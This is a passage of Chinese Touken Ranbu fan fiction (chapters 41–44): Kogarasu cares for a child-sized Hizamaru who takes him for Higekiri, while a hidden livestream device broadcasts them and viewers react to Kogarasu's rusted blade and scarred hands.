明明之前还叫对了好几次他的名字,兄长怎么又忘了? 哦兄长不仅头发的颜色变了,身高缩水了,连记忆力都变差了,现在连自己的名字都记不住了。 都是审神者的错! 小膝丸默默地把“兄长”记忆力的恶化推到了审神者人见桃的头上。 他变小了不是变傻了。 这个主人他打一开始就没有任何好感,更何况他能感受得出来兄长非常不喜欢她。 还经常当着他的面羞辱兄长 所以小膝丸根本就没有询问过消失不见的审神者去哪了。 失格的主人无需在意。 髭切就是他前进的方向,他的视线永远追随着兄长,只会跟随兄长的脚步。 唉,但是兄长这样也不是办法。 要不要想什么办法让兄长记住他的名字呢? 今天的小膝丸依然在为兄长金鱼般的记性而苦恼着。 小乌观察下来感觉小膝丸的思维似乎并没有什么问题。 唯一的问题就是非常执着地把他当成髭切 但是问小膝丸为什么认为他是髭切,小膝丸只会说兄长就是兄长呀。 好抽象的说法 难道是因为他是髭切的仿刀?但是小乌又觉得不太可能。 既不是同一批材料所铸成,又不是同一名刀匠所锻成,他和同出一具的源氏双子其实没有多紧密的联系。 会有人不认自己的双胞胎兄弟,反倒去其他什么乱七八糟的亲戚吗? 怎么想都是不可能的。 小乌现在已经是小膝丸默认的临时监护人了,所以被大家理所当然地安排住在源氏部屋。 晚饭后,小乌带着膝丸回部屋整理,没过一会前田藤四郎和乱藤四郎就借了衣服送过来。 乱藤四郎还给小乌分享了几根皮筋给他扎头发。 小乌感动极了。 终于可以不用发绳了! 虽然千子村正教会了他怎么使用发绳,但是他一直都觉得好麻烦,一不小心绳子就会滑落,有皮筋就方便多了。 但大部分日用品可以东借借西凑凑,但是被褥什么的就不行了。 前田藤四郎:“抱歉小乌殿,我们本丸没有多余的被褥了,只能麻烦您暂时先用髭切殿的了” 本丸的资金都掌握在审神者手中,抠门得很,不愿意在刀剑男士身上花多余的钱,自然也没有备用或者多余的被褥。 乱藤四郎借给小乌的皮筋还是自己在外面远征时偷偷藏了一点小判买的。 所以其实这个本丸很穷。 哪怕现在审神者失去了掌控权,可以取用资金,但传送装置被炸毁,去不了万屋,也是无济于事。 行吧。 能有地方睡就行。 小乌在平安时代当了一年多的野刃,尽管坚持着良好的生活习惯,也免不了变糙,凑合凑合得了。 小膝丸抢过小乌手里的衣服,火速帮他挂好。 正打算转身的小乌:“?” ber,你动作也太快了点。 40-50 第41章 第四十一章 你的弟弟很好,现在是我的…… “兄长!来换衣服!” 小膝丸扒拉小乌的外套, 让他把新借来的内番服换上t?。 “哦好。”小乌把外套脱下来,然后沉吟了一下,去髭切的衣柜翻出来他内番服中绑在脖子上的布条。 然后蒙在了小膝丸的眼睛上。 小膝丸:“???” 小膝丸:“兄长?” 小膝丸不知道小乌为什么要把他的眼睛蒙起来, 但是兄长这么做一定有他的道理, 所以他举着手欲摘又止。 小乌迅速地把衣服换掉了。 然后又把小膝丸转过去背对他, 叫他别动,把蒙住他眼睛的布条摘下来绕在自己脖子上,遮住脖子上的伤疤。 “好了!” 小乌把小膝丸又转回来。 然后忍不住揉揉他的头,头发软软的, 和小膝丸英气的外貌有些反差。 哎呀,好乖。 小乌洗澡的时候已经很迟了, 所以歌仙兼定告诉了他们本丸洗衣机的位置, 让他们之后自己把换下来的脏衣服送过来洗。 手洗了这么久终于用上洗衣机了! 小乌感觉自己来到本丸后仿佛是原始人穿越现代社会,随便看到啥都觉得很感动。 没办法平安时代实在是太久远了,对于享受过现代便利的刃来说真的很贫瘠 虽然这个本丸只有一台洗衣机。 要不是时政自动分配了一台洗衣机,这个本丸的审神者可能真的会干得出来让刀剑男士们自己手洗衣物这种事。 天哪,一个本丸二十多个刃就一台洗衣机还是太艰难了吧。 不管是刃还是洗衣机都相当艰难。 小乌牵着小膝丸去的时候洗衣机还在兢兢业业地工作,好几刃坐在一边等着晾衣服, 等了好一会才轮到小乌用洗衣机, 洗好了又和小膝丸一起去晾晒。 混乱的一天总算是要结束了。 髭切的东西哪怕刃不在了,小膝丸也会一丝不苟地帮他打理好, 所以小乌直接坐享其成, 瘫在榻榻米上属于髭切的床褥中。 “啊——终于可以休息一下了。” 小膝丸一回来就忙个不停, 给小乌端茶倒水, 精力旺盛。 “够了够了,膝丸,不要忙活了。”小乌叫住他, “来休息一下吧。” 太堕落了,太堕落了! 再这么被伺候下去真的要上瘾了。 髭切你有这样的弟弟真是好福气啊! “好的!”小膝丸终于消停了,他拿了一本书哒哒地跑过来,放到小乌脸前,“兄长,我们一起来看书吧!” “看书?” 啊?现在吗? 小乌感觉自己已经是一条咸鱼了,不是很想读书 膝丸居然是好学刃设吗?居然这么积极地要看书? 髭切平时也是这样陪他看书的吗? 嗯兄弟之间的娱乐活动? 小乌感觉自己好像对他们兄弟俩平时的相处有了更深的了解。 虽然不是很想看书,但是小乌根本抗拒不了小膝丸期待的眼神。 好、好萌! 可恶!他还是要再说一遍—— 髭切你真是好福气啊!!! 小膝丸:“对!” 他一脸认真:“歌仙说,多看书,多学习,这样记忆力就会提高,兄长就不会老是忘记我的名字了。” 小乌:“?” 虽然好像是这么个道理,但是髭切记不住你的名字应该不是因为记忆力不好。 兄控滤镜真是害人啊! 髭切的锅被小乌含泪背了。 小乌哭笑不得,但是还是试图挣扎一下:“膝丸。” “!”小膝丸的眼睛亮起来,“是!兄长!我叫膝丸!” “我算了,来吧。” 孩子想做就让他做吧。 反正现在也没什么事,就当陪孩子玩了,大不了到时候直接装睡! 只要我入睡得够快,知识就来不及进入我的脑子! 小膝丸欢呼一声,熟门熟路地跑到一个矮柜前,拿出一本书,一支笔。 他挨着小乌坐,把书摊开在两刃面前。 然后一本正经地开始教学。 “兄长你看,这个叫什么?” 小膝丸指着书上一个词。 小乌:“?太阳。” 等等,为什么突然开始教我认字? 小膝丸:“那这个呢?” 小乌:“月亮。” 小膝丸:“这个。” 小乌:“龙胆。” 小膝丸拔开笔帽,在上面写下一个词:“这个呢兄长?” 小乌:“” 小乌看着小膝丸写的“髭切”一词,沉默了。 小膝丸目光灼灼。 好好好,合着是让我承认自己是髭切是吧! 小乌一下就有了反骨。 小乌:“小乌。” 小膝丸:“!” 小膝丸:“是髭切啊兄长!这是你的名字!” 小乌:“就是小乌。” 小膝丸:“髭切!hi——ge——ki——ri——” 小乌:“乌切。” 小膝丸:“啊啊啊阿尼甲啊啊啊!” 噗! 小乌感觉自己快要被笑死了,憋得开启震动模式。 小膝丸靠着小乌,敏锐地察觉到了不对:“兄长!你是不是故意的!” 小乌一脸纯良:“没有啊肘丸。” 啊啊啊啊! 小膝丸的眼泪已经包在了眼眶里。 嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻! 太好玩了! 这就是当哥的乐趣吗? 小乌坏心眼地想。 不好意思了髭切! 你的弟弟fine,下一秒mine! “好了好了,我是髭切。” 小乌哄孩子。 小膝丸吸着鼻子,抬手遮挡眼睛:“我、我没哭!” 没有说你哭了呀。 小乌这样想,但是不敢说出来,说出来可能就真的要把刃弄哭了。 “膝丸。” 小膝丸放下遮住眼睛的手。 小乌挑眉,放慢了语速重复道:“hi·za·ma·ru。” 小膝丸瞬间雨过天晴,惊喜地大喊:“兄长!!!” 嘶—— 小乌揉了揉耳朵,这突然一大嗓门给他吓得差点跳起来。 “时间不早了,睡觉吧。” “好的!” 小膝丸爬进了小乌怀里。 小乌:啊? 髭切你个浓眉大眼的晚上睡觉居然是抱着膝丸睡的? 诶?那为什么旁边还有一床被褥? 小膝丸没有经过“兄长”同意就擅自爬进了兄长怀里,有点做贼心虚,但是他不想离开兄长的怀抱。 因为审神者当初特别喜欢他,他其实经常被带到天守阁和审神者一起,很少和髭切有接触时间,更别提睡在一个部屋。 后来被审神者厌弃后才重新回到源氏部屋和兄长住在一起,他们兄弟俩其实并没有相处得很久 现在失去了审神者的制约,他终于可以毫无顾忌地和兄长黏在一起了。 “兄长” 他不敢太放肆,轻轻贴了贴小乌的下巴。 好吧,可能是因为变成小孩子所以比较依赖兄长吧。 小乌在他头顶上无声地叹了一口气。 伸手把他捞进怀里,像抱了一个抱枕一样抱住他。 “睡吧。” 小乌拍了拍他的背。 这个动作让他出神了几秒。 当初在坛之浦合战前,千子村正在他情绪崩溃的时候也是这么抱着他,拍着他的背。 很温暖,很有安全感。 现在在他的怀抱里,膝丸现在的感受会不会和他那时候的感受一样呢? 如果他也能给其他刃带来安全感那就太好啦。 小乌这样想着,听着小膝丸入睡后均匀的呼吸声,也缓缓进入了梦乡 第二日,在平安时代养成早睡早起习惯的小乌准时地在天色亮起时睁开了眼睛。 怀里的小膝丸还在睡,脸压在他胸前,嘴一张一合。 小乌嘴角不自觉地弯了弯。 他轻手轻脚的将小膝丸挪开,再给他掖好被子,然后才起身洗漱。 他简单活动了一下筋骨,拿起本体出门练刀。 练完刀神清气爽,用灵力把身上刷新一遍,小乌回到部屋。 小膝丸这会才刚醒,正坐在被褥里揉眼睛,脸上带着刚睡醒的迷糊。 他迷瞪了两下,看见小乌进来,清醒了。 “兄长?!”他的声音带着难以置信,“你醒多久了?!” 兄长大部分时候都是他来叫醒的,偶尔还会稍微赖一下床。 今天一看就知道小乌已经醒了很久了。 他睡过头了吗?! 小膝丸立马像打了鸡血一样蹦起来。 小乌用手当梳子在他乱翘的头发上铲了几下:“没有很久啦,醒了就起来吧,然后我们去吃早饭。” 应该有人做早饭?没有的话就自己整一点。 “是!兄长!” 小膝丸心里暗自决定明天一定要在兄长前面起来,然后自律地开始穿衣、叠被、洗漱,动作麻利。 两刃收拾妥当正准备出门,小膝丸眼尖地看见小乌昨晚睡前取出、安放在桌子上的纸条和纽扣。 小膝丸立刻被那枚眼熟t?的纽扣吸引了注意力,小跑过去拿起来查看。 咦?这是兄长出阵服上的扣子? 他噔噔噔地跑到小乌面前递给他:“兄长的扣子是掉了吗?我可以去找针线帮兄长缝上!” 小乌心里“诶”了一声。 小膝丸默认这个纽扣是他衣服上的? 小乌联想到给他这枚纽扣的髭切执法队的髭切,心中明了。 所以这是那振髭切身上衣服的纽扣吧! 为什么会给我这个呢? 他心中一动。 御守和纸条都是有用的,那这枚纽扣是不是也有什么用处? 小乌接过纽扣,试探着输入了一些灵力进去。 然后他惊喜地发现灵力被毫无阻滞地吸收了! 所以是需要用灵力来驱动? 小乌加大输入,一直到纽扣将灵力拒之门外为止。 这是充满了吧,所以有什么用? 小乌期待地盯着纽扣看,小膝丸不知道兄长在做什么,但是不去打扰他,一起盯。 盯—— 两双长得一样但是颜色不同的眼睛都在盯着纽扣。 纽扣: 什么反应都没有。 小乌有些郁闷,还以为是像特工电影一样是什么小巧的通讯器什么的。 难道是定位器? 第42章 第四十二章 本灵膝丸开始宇宙猫猫头升…… “算了, 先收着吧。” 现在也捣鼓不出什么,小乌泄气地嘟囔着。 “要不要找根线挂起来呢?” 嗯纽扣太小了容易丢,要不找根线当挂坠戴吧? 他没抱多大希望地问小膝丸有没有可以做挂坠的线, 没想到源氏的部屋里面真的有! 小膝丸熟练地拉开一格抽屉, 里面果然躺着几卷素色的棉线, 几根针,摆放得整整齐齐。 “找到啦!要帮您缝回衣服上吗?” 好、好厉害! 这些针线有明显的使用痕迹,但怎么想都想不出来髭切会自己动手缝补衣服,只有可能是小膝丸在用。 髭切, 这种勤快又细心的弟弟你到底凭什么啊啊啊! 小乌要嫉妒得化为恶鬼了! 所以他真的不能有个叫做的膝丸的弟弟吗? 想到之后要还回去了就好心痛。 “不用,这枚纽扣是多出来的。” 小乌内心的戏没有体现在表面, 他拿起一团棉线取了合适的长度剪短, 然后穿起纽扣打结。 然后戴在了小膝丸的脖子上。 自己戴是不可能的~ 小乌能为了遮掩脖子上的伤疤勉强忍耐绷带或者是其他布料,但是敏感的脖子不能再忍受其他装饰物。 “帮我保管吧。” 小膝丸摸摸纽扣,珍重地点点头。 但小乌不知道的是,髭切给的纽扣其实是备用的执法直播摄像头。 当初髭切给他的时候其实是充满灵力的,但是在小乌刚落地平安时代后灵力的使用一直很紧张,在使用御守中的灵力时, 无意中将放置其中的直播设备储存的灵力一同抽空了。 所以直播设备一直无法开机。 如今小乌给它输满了灵力, 总算是启动了 本丸会早起的刀剑男士也不少,厨房里面已经有人在做早饭了, 小乌和小膝丸幸运地蹭上了早饭。 然后去往了手入室中。 小乌开始今日份的手入。 他全神贯注地为刀剑男士们手入, 小膝丸就安静地坐在旁边的椅子上, 目光专注地看着小乌。 过了一会, 他悄悄起身,轻手轻脚的离开手入室。 小膝丸是为了给小乌拿茶和茶点出去的。 而他脖子上的直播设备也终于开机完毕,开启了直播功能。 时之政府的官方平台上, 一个没有官方预告过的、编号属于执法队的直播间突然出现在了直播频道上。 很多在网上冲浪或者关注执法队直播动态的审神者们发现了这个直播间。 直播出来的画面看起来视角不高,画面有些晃动,像是在行走中,在走廊上向前移动。 [???] [这个视角怎么感觉不太对劲。] [这是哪队的直播间啊?没看见官方预告有这个编号的直播间会开播啊。] [直播设备是不是放在短刀身上所以有点矮。] [这好像是在本丸里,看着挺干净的,这次又是在处理什么类型的渣审?] 与此同时,负责监控直播间的工作人员也收到了这个未经开播的直播间的消息。 当初那振执法队的髭切在安全回到时之政府后就报备了他交给小乌的那个直播设备的编号,时之政府将这个编号列为了重点关注对象,工作人员就是收到了重点关注编号开播的消息。 人们马上行动起来,同步上报给上级和本灵,并安排了人或者刀剑男士持续关注直播间中的情况。 画面中带着直播设备的不明人员走进了一处空间。 整洁的料理台、冒着热气的锅灶、摆放着碗筷的架子、还有修复了一晚上终于能够离开手入池的烛台切光忠以及在旁边打下手的平野藤四郎。 这里是本丸的厨房。 [厨房?] [哪个大馋小子做任务还要跑来厨房偷吃?] [楼上怎么能怀疑我们执法队的素养!肯定是这个厨房有着不可告人的咪-咪!] [可不可以告人我不知道,但这里确实有个咪酱hhhhh] [到底是谁在直播啊急急急,快讲解下现在什么情况啊!] 画面稳定下来,一双戴着手套、属于小孩子的手出现在镜头中。 那双手熟练地在厨房各处翻出茶盘、茶壶茶杯还有茶叶,然后搬来凳子接水烧水。 “嗯?” 正在给三日月宗近和莺丸做茶点的烛台切光忠转过来:“膝丸殿是要泡茶给小、咳嗯,髭切殿?我这里正好在做茶点,不介意的话就取一些去吧。” “好,谢谢烛台切殿。” 清亮的童声响起。 [啊?啊??啊???] [谁???] [这里有膝丸?哪呢?怎么对着镜头啊不会是在和带着直播装备的人说的吧?] [回应的刃声音听起来就是个小孩子啊?] [所以是我们听错了还是膝丸另有其刃] [] [我有不好的预感] 实时监控直播间的政府人员也有不好的预感,他赶紧找到这个直播间的控制权,切换成的全息扫描模式,开启这个模式后,直播设备就会调动储存的灵力对周围环境进行扫描,然后呈现出以直播设备为中心,360°角度的景象,大大减小了摄像范围的限制,是当下非常流行的功能。 直播间的视角被切换后,观众们终于能够看到佩戴者直播设备的人到底是谁了。 薄绿色的头发,茶金色的猫眼,确实是膝丸。 但缩小版。 因为是小孩子模样,所以眼睛都变大了不少,看起来没有成人体型那般威严,看起来萌萌的。 看直播的的人感觉自己的尸体也硬硬的。 [!!!!!] [卧槽???] [真的是膝丸???怎么这样啊!] [弟弟丸你怎么了,你怎么缩水了?呜哇哇哇呜!] [刃体实验?直播设备是不是在他身上啊?这明显不是执法队成员而是受害者吧,怎么在他身上。] 幼年体膝丸的出现在时之政府的网络上掀起了滔天巨浪,时政的工作人员活人微死。 网络发达的后果就是舆论发酵得太快。 工作人员一边安抚群众一边发布公告说明这个直播间的来源。 [时政出公告了!看公告看公告。] [公告说这个直播设备是给小乌的?那小乌刃呢?] [时政自己也不知道直播设备是怎么出现在这振膝丸身上的啊,说了好像跟没说一样。] [急急急我是急急国王,时政你给我速速调查!] 时之政府:倒是给我调查时间啊!!! “技术组的,能不能定位到直播间里的地点?” “嗯还要尝试一下,虽然我们有定位功能但是初步尝试下来似乎被屏蔽了,还需要些时间攻克。” “我觉得这种屏蔽手法有点眼熟” “哪里眼熟?” “嘶你让我想想,突然一下子有点想不起来。” 小膝丸对时之政府那边的混乱浑然不觉,他将烛台切给的几块茶点摆盘好,然后放入茶盘中。 他对着帮忙的烛台切光忠和平野藤四郎礼貌地道过谢后,端着托盘,脚步轻快地t?离开了厨房。 直播摄像头记录着他穿过回廊,明媚的阳光散落在他的认真的小脸上。 [awsl虽然弟弟丸的状态不正常但是好萌] [他要去给哥送茶和茶点?话说现在还能喝茶吃茶点看起来不像是在什么暗堕本丸里或者被渣审虐待中啊。] [确实好萌我已经把我家的哥弟抓过来看小弟弟丸了。] [我家哥切说没见过小时候的弟弟,很可爱。] 小膝丸目标明确地走向手入室,他轻轻拉开门,画面跟随着他进入室内。 直播设备也捕捉到了小乌的身影。 因为小乌换了衣服,观众们一开始还没有认出来,直到小膝丸走进,小乌的脸和标志性的耳羽出现在画面中,他们才认出这就是小乌! [!!小乌!!] [是小乌!他还活着!状态看起来还不错诶!] [是哦,感觉跟上一次直播变化好大。] [虽然不知道现在是什么情况,不过能再看到小乌真是太好了,上次直播就那么断了真的很担心他] [这个小乌是本灵吧?时政你快找啊!把本灵接回来!] “兄长!” 小膝丸的声音带着雀跃,他看到小乌结束了一个刃的治疗,立刻端着茶盘过去。 “兄长辛苦了,请用。” 小乌抬头,看到小膝丸端来的茶和茶点,露出一个带着点宠溺的笑容,他伸出手,动作自然地撸了撸小膝丸的头毛:“谢谢,帮大忙了。” 摸头摸多了真是越来越熟练了。 好好撸,我撸-撸-撸-撸-撸-撸 [?] [???] [??????????] [膝丸在叫谁?] [髭切呢?说好的髭切呢?膝丸你在叫谁?] [哈哈,今天好像没睡醒,膝丸怎么在叫小乌兄长啊?] [这辈分不对吧?] [哥哥切你弟怎么瞎叫刃啊快来管管!] [有一说一小乌笑起来好可爱哦,两个萌物] [想被摸摸头] [踩我!] [?] [?] [不是哥们?这里不是无人区。] [时政和本灵正在watching you] [啊这,撤回不了了。] [哈哈哈哈哈哈哈哈哈!] 本灵此刻的本灵们也正在观看直播。 本灵膝丸看到自己的分灵对着小乌叫兄长这一幕,顿时开始宇宙猫猫头升华。 啊?啊??这是我吗?我在乱叫什么? 第43章 第四十三章 同人文里不是都写刀剑付丧…… “扑哧。” 本灵髭切是第一个笑出声的, 他看着屏幕里面那个缩小版的膝丸对着小乌献殷勤,又看了看身边的本灵膝丸那副呆滞的表情,侧过头, 用促狭的语气说:“迷糊丸在叫谁兄长呢?” “那不是我!啊不对, 那也是我啊啊总之这不对!” 本灵膝丸瞬间炸毛, 他的声音急切。 “我怎么可能会叫小乌兄长啊!明明差别这么大” 他一边忙着解释怕髭切误会,一边在心里对自己的这振分灵生气:怎么回事?!居然连兄长都能认错!小乌可是后辈啊! “诶——” “信我啊阿尼甲!” “好啦好啦~” 本灵髭切又逗弄了本灵膝丸好几句,然后才正经一些:“小乌的变化很大呢,嗯嗯, 弟弟嗯弟弟应该是把小乌认成我了吧。” “是膝丸,兄长。” 本灵膝丸深吸一口气, 努力找回平时的冷静, 他顺着髭切的话分析:“兄长说得对。之前烛台切殿应该是想对我的分灵说‘小乌殿’,但是改口成‘髭切殿’了。” 话说兄长,你为什么能叫对小乌的名字而叫不对我的! “没错~所以这个本丸的其他刃应该也是知道弟弟认错人的事情吧。” “嗯、嗯。” 振作啊分灵!这里大家都看着直播呢,丢我的脸就算了,要是连累了兄长的名声! 小乌喝了茶却没有动茶点。 日式的茶点基本都甜得吓人,他并不喜欢吃甜食。 但小膝丸的记忆中, 髭切是喜欢吃甜食的。 他不解地问:“兄长是不喜欢吃这种茶点吗?” 小乌被他这么一问也想起来了, 髭切是喜欢吃的! 唔唔 小乌捡起一块塞到嘴里,灌了一大口茶囫囵吞了下去:“没有哦, 很美味的!” “就是最近更喜欢喝茶一些, 嗯嗯。” 然后他问手入室里的其他刃吃不吃茶点, 陆陆续续地把茶点分完了。 都拿走都拿走。 “我明白了。”小膝丸点头, 表示记下“兄长”最近口味的变化。 小乌把灵力消耗得差不多后向他们询问了养护刀剑的道具存放位置后就送走了他们。 等刃走空后,小乌并没有先去找道具,而是来到了存放资源的箱子前蹲下。 箱子里面只剩下几块玉钢和冷却材——之所以能剩下还是因为量太少了无法用在任何地方。 小乌看到这些材料的时候就产生过一个好奇的想法。 之前看过很多同人文会写刀剑男士们在没有食物来源的情况下会靠使用玉钢和冷却材来裹腹。 真的假的? 好想尝尝。 嗯 他用指尖拨弄两下, 然后拿起一块玉钢端详。 玉钢的话,话说刀剑在被锻造之前就是这样的玉钢吧?那吃玉钢岂不是就是在吃同类的胚胎吗? 呜哇突然变得好恐怖。 小乌的想法不受控制地滑向非常残暴的方向。 [小乌在干嘛呢?看起来好严肃。] [是不是资源不够用了。] [呜呜好心疼,他们是不是没资源手入了,刚刚有好多受伤的刀,都是小乌在亲自手入。] 直播间的观众们还在脑补这个本丸的刃们到底是个什么处境,却见到小乌拿着玉钢去水池清洗了一下,然后上嘴咬了一口。 咔哒! 小膝丸起初还不知道小乌在做什么,见他在看本丸剩余的资源一脸严肃,还以为他是在很认真地思考着什么。 完全没有预料到小乌准备给他整个大的。 直到小乌洗完玉钢,然后上嘴,牙齿和坚硬的材质碰撞发出的脆响才明白他在吃玉钢! 吃玉钢 “阿尼甲啊啊啊!!!” 小膝丸发出尖锐的爆鸣。 你做甚么! 好好的茶点不吃吃玉钢!!! 直播间的观众也在和小膝丸一起证明自己不纯。 [啊啊啊啊啊在干嘛啊这是!] [啊啊啊啊啊啊!] [补药啊补药吃玉钢,已经饿到这个地步了吗?!] [啊啊啊已经饿不对啊!刚刚不是还在吃茶点吗?!] [对啊,宝你怎么正经的食物不吃吃玉钢啊?] “嘶——” 观看直播的本灵们看到这一幕也纷纷倒吸一口凉气。 这得是有多饿才生啃玉钢?! 本灵髭切和本灵膝丸也是被吓了一跳。 但是看到小膝丸和他们是同样的反应后又放松下来。 看起来不正常的好像只有小乌 但是也很严重了啊?! 小膝丸的叫声都变调了,冲上来抢他嘴里的玉钢。 “快吐出来!兄长要是饿了我去给你做饭就好了,不要乱吃啊!” “唔唔唔。” 小乌只是试探地轻咬了一下玉钢,没想到小膝丸就这么直接上来抢,下意识地咬紧了嘴里的玉钢和小膝丸的力道拉扯对抗。 他的头被扯得晃了几下,因为咬的物体太过坚硬,牙也开始发酸发痛。 心里还在想着:同人文果然都是假的根本咬不动。 小膝丸见小乌还走神,一下就急了。 顾不得什么有的没的,直接腾出一只手用力掐了小乌脸上的软肉一把。 “嗷!” 小乌疼的一下子嗷出来,嘴也由于条件反射松开了。 小膝丸趁机猛地一拽,成功抢走了玉钢,顺着惯性噔噔噔后撤几步才稳住身形。 “呼” 小膝丸惊魂未定。 然后他抬眼看到小乌捂着脸不可置信地看着他。 你、你居然掐我? 倒不是说这么什么很奇怪的事,主要是他现在在膝丸眼里应该是髭切吧? 是髭切吧?! 膝丸居然会对他哥这么动手吗?! 究竟是兔子被逼急了也会咬人还是小膝丸其实是 小乌眯起眼睛。 我怀疑你是装的。 但是下一秒小膝丸恨不得用切腹自尽来赔罪的态度又让小乌打消了这个想法。 你说他装这个图啥呢 算了算了,可能孩子单纯只是太着急了,能有啥坏心思呢。 “好了好了,没事。” 小乌t?把他拎起来站好,又给了他一个抱抱。 “我只是有点好奇啦” 终归是自己造作的,小乌还是哄了一会把膝丸哄好了。 但是一码归一码,敢掐他的脸,哼哼,他之后要报复回来! [好奇?好奇啥?玉钢是什么味道分享一下呗。] [小乌你] [坏了,我家鹤姥爷看了之后也想试试生吃玉钢。] [上次的直播让我以为小乌是忧郁美少年,没想到其实内里是个二哈正常刃干得出吃玉钢这种事吗?!] [有的,姐妹,有的,鹤丸国永。] [幻视鹤丸国永二号。] [啊这,确实是鹤丸国永干得出来的事。] [好了鹤球被成功开除正常刃行列。] [啊啊啊我的美少年!碎了!碎了!] [我按不住我家的鹤了!好的不学净学坏的你个哈基鹤!学学人家膝丸啊!] [蒜鸟蒜鸟,反正老鹤头牙崩了手入一下就好咯。] 小乌不知道自己的形象已经通过直播间碎了一地,并且喜提“鹤丸国永二号”的称号。 他准备做另一件事。 小乌很快就在之前刀剑告知的位置找到了一个小木箱,里面放着打粉棒、丁子油等基础的刀剑保养工具。 小乌拿起打粉棒,有些茫然。 他突然想起来自己根本不会用这些东西。 在源氏的记忆很模糊他也记不清养护流程,在平氏根本就没被保养过。 所以对此小乌一窍不通。 看着手里的工具,小乌脑筋一转,脸皮很厚地把自己的本体朝小膝丸递了过去。 “弟弟。” 都被叫了那么多声哥了,小乌也理直气壮地喊弟弟。 “帮我一下?” “是!” “麻烦啦~” 小膝丸听到小乌的请求,郑重地用双手接过他的本体,走到矮桌前跪下,小心翼翼地将小乌的本体平放在铺好的奉书纸上。 小膝丸将刀从刀鞘中拔出,然后动作顿了一下,眼神变了。 但是因为低着头,小乌看不清小膝丸的表情,所以没有发现他的变化。 同时,小乌的本体也暴露在了观众们的眼下。 小乌的本体上有大片如同凝固的血痂一般、深红色的锈迹。 如同丑陋的疤痕,啃食着刀身流畅的线条,有些地方甚至能看到已经被锈穿了表层。 源源不断滚动的弹幕停滞了几秒,屏幕清空,随即弹幕又呈喷井式爆发。 [卧槽!] [这是什么?生锈了吗?这面积也太大了吧!] [好严重有的地方都锈穿进去了] [本体都这么严重了小乌没有感觉吗?不敢想这会有多痛] [看了一圈小乌身上裹得严严实实的,看不出他的人身哪里有问题。] [我看小乌脖子上缠了布条,应该是有疤痕的吧,就是那个,友切的那个疤痕] [你这么一提觉得他更惨了。] [会不会在手上?小乌一直带着手套不摘。] [对哦!刚刚他去洗玉钢的时候都是捏着玉钢尽量不碰水的!后面摸到玉钢上面的水,手套湿了一点都没打算摘。] [这么说的话,那就真的很有可能手上会有什么了] 本灵髭切和本灵膝丸看见小乌本体的现状后也变了脸色,没有了之前调笑时的轻松写意。 “这” 本灵膝丸在知道小乌的存在后,有去特意查阅过小乌的一些历史记载,他还记得有的记载传的是小乌在坛之浦合战后沉海了。 这些锈迹大概就是在海中腐蚀留下的吧。 第44章 第四十四章 小男孩怎么能不穿小短裤!…… “这些基础的道具根本起不了作用啊” 不知道是哪位本灵在感叹。 “的确。”本灵髭切颔首, “修复工作交给政府的人比较好,他们在这方面还是很有经验的。” “是。” 本灵膝丸也点头表示赞同。 虽然他们嘴上冷静地讨论着解决的方案,但实际上心里还是因为亲眼目睹了小乌本体的惨状而产生担忧。 小乌本体上的痕迹在无声地对他们诉说着沉海期间漫长的痛苦和寂寞。 本灵髭切的心情有些复杂。 小乌这个孩子之所以能存在于世, 恐怕和友切的逸闻脱不开干系。 这本不是他应该承受的痛苦, 不应该由他来背负。 还是要尽快带回来比较好。 “政府那边进度怎么样了?” 本灵髭切突然开口问一直蹲坐在他们旁边一同观看直播的狐之助。 “直播间所处的本丸坐标被人为屏蔽了, 大人们正在攻克,髭切殿下请放心,只需要一点时间就可以解决。” 狐之助摇摇尾巴,它是专门被指派来在本灵和政府之间传递消息的。 “执法队的殿下们近日逮捕了一批涉嫌刀剑贩卖的罪犯, 其中一名人员是时之政府科研部成员,经过检测, 这个本丸的屏蔽手段正是经过此人研究使用的, 直播中幼体化的膝丸殿的情况也非常符合该犯罪嫌疑人研制的符文效果,政府正在同步研究破译方法。” “是吗,那帮我再催催吧。” “好的!” 本灵髭切转动了一下手里的茶杯,然后看向本灵膝丸:“弟弟弟弟到时候要一起去接那孩子吗?” 本灵膝丸愣了一下,还没来得及开口,狐之助就马上接话了。 “关于这个!” 狐之助面朝他们趴下, 呈一种臣服的姿势对自己冒犯地打断他们的对话表示歉意。 “执法队中一位新加入的刀剑男士申请执行这次的任务。” 本灵膝丸本来听到兄长的邀请有些跃跃欲动, 但听到狐之助的话后又冷静下来了。 “哦~” 本灵髭切被狐之助话中的内容吸引,没有在意狐之助的无礼, 只是用手指点点下巴。 “这样的话, 那就算了吧。” “那么, 我们还是在这里等小嗯” “是小乌, 兄长。” “嗯嗯,等他过来吧~” 小膝丸拔出小乌的本体后沉默不语。 小乌也才发现坏菜了! 平常看自己的本体习惯了,再加上非正统刀剑付丧神出身, 小乌向来不是很重视自己的本体,更习惯审视自己的人身状态。 完全忘了自己本体有多吓刃了。 要知道刚到平安时代那段时间鹤丸和千子村正甚至不敢和他有肢体接触,后面看他没什么反应才慢慢习惯的 。 这下好了,这才瞒了不到一天就暴露了。 但是小膝丸的反应并没有小乌想得那么激烈,反而是一声不吭地为他做着养护。 这下就算是看不到表情,小乌也能清晰地感觉到他情绪的低落。 小乌坐立不安,想开口解释,但是碍于小膝丸对他的认知障碍,又不知道该怎么说,这种预料之外的反应让他更加煎熬。 “膝丸?” 小乌小声地叫了一声。 小膝丸停下动作,缓缓抬起头。 小乌这才看清了他的表情—— 金色的眼睛像是被水洗过一样透亮,眼眶微红,尖锐的虎牙将下唇抵出小坑。 不能哭! 小膝丸虽然有点想哭,但作为源氏重宝不能动不动就哭,那也太没出息了。 小脸上极力维持着平静,却依然透露出他难过的情绪。 他在为小乌残缺的本体而难过。 小乌呼吸一窒,半天吐不出下一句话。 小膝丸的目光在小乌身上转了一圈,然后突兀地说:“我可以看一下吗?” “什么?” 小乌一怔,有点没反应过来他要看什么。 “身上有锈迹的地方。” 虽然是询问,但是小膝丸语气异常坚定,让小乌怀疑如果他不同意是不是会直接上手扒。 小乌沉默了,他在纠结。 要看吗?但是真的很可怕,就算是他自己,这么久了他也不敢多看这么伤痕。 看到他人光洁的皮肤,他有点时候也会晃神,自卑伤痕的丑陋,嫉妒他人的健全。 然而,他在小膝丸的目光下,拒绝似乎变得格外艰难。 好吧反正本体都看过了,也不缺人身了,说不定相比人身,本体的情况对于刀剑付丧神的冲击力会更大呢? 小乌像是下定了某种决心,他抬手捏住了另一只手的手套,从指尖开始往外扯,褪下了两只手套。 [嘶——] [卧槽好可怕我有点不敢看] [我也是,第一眼就晕了] [这是没有皮肤了吗?都能直接看到肌腱了。] 